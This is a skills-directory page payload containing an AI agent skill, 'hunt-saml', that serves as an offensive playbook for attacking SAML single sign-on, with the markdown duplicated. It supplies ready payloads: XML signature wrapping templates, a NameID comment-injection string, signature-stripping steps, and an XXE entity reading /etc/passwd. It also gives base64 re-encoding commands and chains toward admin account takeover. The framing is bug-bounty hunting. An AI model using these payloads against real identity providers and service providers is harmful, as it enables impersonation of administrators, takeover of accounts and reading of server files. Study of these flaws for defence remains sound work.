[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKN4SB3DWMVK10MEQGP8M4":3,"skill-same:01M7EKN4SB3DWMVK10MEQGP8M4":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7EKN4SB3DWMVK10MEQGP8M4","hunt-saml",null,"Hunt SAML \u002F SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com\u003C!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any \u002Fsaml endpoint, \u002FShibboleth.sso, \u002Fsso\u002Fsaml\u002F, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-saml\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-saml\ndescription: \"Hunt SAML \u002F SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com\u003C!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any \u002Fsaml endpoint, \u002FShibboleth.sso, \u002Fsso\u002Fsaml\u002F, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation.\"\nsources: cve_database, oasis_saml_spec, academic_research, public_research\nreport_count: 6\n---\n\n## 20. SAML \u002F SSO ATTACKS\n> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.\n\n### Attack Surface\n```bash\n# Find SAML endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep -iE \"saml|sso|login.*redirect|oauth|idp|sp\"\n# Key endpoints: \u002Fsaml\u002Facs (assertion consumer service), \u002Fsso\u002Fsaml, \u002Fauth\u002Fsaml\u002Fcallback\n```\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- BEFORE: valid assertion by user@company.com -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid, covers ID=legit -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n\n\u003C!-- AFTER: inject evil assertion. Signature still validates (covers #legit).\n     App processes the FIRST assertion found = evil. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>  \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Attacker registers\u002Fcontrols account: admin@company.com.evil.com -->\n\u003CNameID>admin@company.com\u003C!---->.evil.com\u003C\u002FNameID>\n\u003C!-- Signed canonical form (C14N without-comments strips the comment BEFORE\n     digest): \"admin@company.com.evil.com\" — the value the signature covers. -->\n\u003C!-- App's XML processor also strips the comment but only reads the text node\n     UP TO the comment boundary: \"admin@company.com\" — a DIFFERENT effective\n     identity than was signed. The discrepancy is the bug. -->\n\u003C!-- Works when signer's C14N and app's text extraction disagree on comments.\n     CVE-2017-11428 (Ruby-SAML \u002F OneLogin), CVE-2016-5697. -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Decode SAMLResponse: echo \"BASE64\" | base64 -d | xmllint --format - > saml.xml\n2. Delete the entire \u003CSignature> element\n3. Change NameID to admin@company.com\n4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)\n5. Submit — if server doesn't verify signature presence = admin ATO\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Assertion>\n  \u003CNameID>&xxe;\u003C\u002FNameID>\n\u003C\u002Fsaml:Assertion>\n```\n\n### Attack 5: NameID Manipulation\n```\nTest these NameID values:\n- admin@company.com (generic admin)\n- administrator@company.com\n- support@target.com\n- Any email found in disclosed reports for this program\n- ${7*7} (SSTI if NameID gets rendered in a template)\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — automated XSW testing\n# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab\n\n# Manual workflow:\necho \"BASE64_SAML\" | base64 -d > saml.xml\n# Edit saml.xml\nbase64 -w0 saml.xml  # Re-encode\n# URL-encode the result before sending as SAMLResponse parameter\n```\n\n### SAML Triage\n```\nXSW successful   = Critical (ATO any user)\nSig stripping    = Critical (ATO any user)\nComment injection = High (ATO admin)\nXXE in assertion = High (file read \u002F SSRF)\nNameID manip     = Medium\u002FHigh (depends on what NameID maps to)\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `\u003CAudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.\n- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `\u003Cds:Signature>` element entirely → modify `\u003CNameID>` to admin → re-encode base64 → POST to `\u002Fsaml\u002Facs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.\n- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.\n- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in assertion + `\u003CNameID>&xxe;\u003C\u002FNameID>` → SP renders\u002Flogs NameID → \u002Fetc\u002Fpasswd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.\n- **`security-arsenal`** — Pull the SAML\u002FXSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml\u002FXerces\u002FMSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for \"SAMLResponse accepted on the wrong endpoint\" claims that don't actually validate.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML \"vulnerability\" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.\n","## 20. SAML \u002F SSO ATTACKS\n> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.\n\n### Attack Surface\n```bash\n# Find SAML endpoints\ncat recon\u002F$TARGET\u002Furls.txt | grep -iE \"saml|sso|login.*redirect|oauth|idp|sp\"\n# Key endpoints: \u002Fsaml\u002Facs (assertion consumer service), \u002Fsso\u002Fsaml, \u002Fauth\u002Fsaml\u002Fcallback\n```\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- BEFORE: valid assertion by user@company.com -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid, covers ID=legit -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n\n\u003C!-- AFTER: inject evil assertion. Signature still validates (covers #legit).\n     App processes the FIRST assertion found = evil. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>  \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>\u003C!-- Valid -->\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Attacker registers\u002Fcontrols account: admin@company.com.evil.com -->\n\u003CNameID>admin@company.com\u003C!---->.evil.com\u003C\u002FNameID>\n\u003C!-- Signed canonical form (C14N without-comments strips the comment BEFORE\n     digest): \"admin@company.com.evil.com\" — the value the signature covers. -->\n\u003C!-- App's XML processor also strips the comment but only reads the text node\n     UP TO the comment boundary: \"admin@company.com\" — a DIFFERENT effective\n     identity than was signed. The discrepancy is the bug. -->\n\u003C!-- Works when signer's C14N and app's text extraction disagree on comments.\n     CVE-2017-11428 (Ruby-SAML \u002F OneLogin), CVE-2016-5697. -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Decode SAMLResponse: echo \"BASE64\" | base64 -d | xmllint --format - > saml.xml\n2. Delete the entire \u003CSignature> element\n3. Change NameID to admin@company.com\n4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)\n5. Submit — if server doesn't verify signature presence = admin ATO\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Assertion>\n  \u003CNameID>&xxe;\u003C\u002FNameID>\n\u003C\u002Fsaml:Assertion>\n```\n\n### Attack 5: NameID Manipulation\n```\nTest these NameID values:\n- admin@company.com (generic admin)\n- administrator@company.com\n- support@target.com\n- Any email found in disclosed reports for this program\n- ${7*7} (SSTI if NameID gets rendered in a template)\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — automated XSW testing\n# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab\n\n# Manual workflow:\necho \"BASE64_SAML\" | base64 -d > saml.xml\n# Edit saml.xml\nbase64 -w0 saml.xml  # Re-encode\n# URL-encode the result before sending as SAMLResponse parameter\n```\n\n### SAML Triage\n```\nXSW successful   = Critical (ATO any user)\nSig stripping    = Critical (ATO any user)\nComment injection = High (ATO admin)\nXXE in assertion = High (file read \u002F SSRF)\nNameID manip     = Medium\u002FHigh (depends on what NameID maps to)\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `\u003CAudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.\n- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `\u003Cds:Signature>` element entirely → modify `\u003CNameID>` to admin → re-encode base64 → POST to `\u002Fsaml\u002Facs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.\n- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.\n- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in assertion + `\u003CNameID>&xxe;\u003C\u002FNameID>` → SP renders\u002Flogs NameID → \u002Fetc\u002Fpasswd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.\n- **`security-arsenal`** — Pull the SAML\u002FXSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml\u002FXerces\u002FMSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for \"SAMLResponse accepted on the wrong endpoint\" claims that don't actually validate.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML \"vulnerability\" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.\n",{"name":5,"sources":24,"description":7,"report_count":25},"cve_database, oasis_saml_spec, academic_research, public_research",6,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-saml",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-saml",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-saml",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-saml","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-saml\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]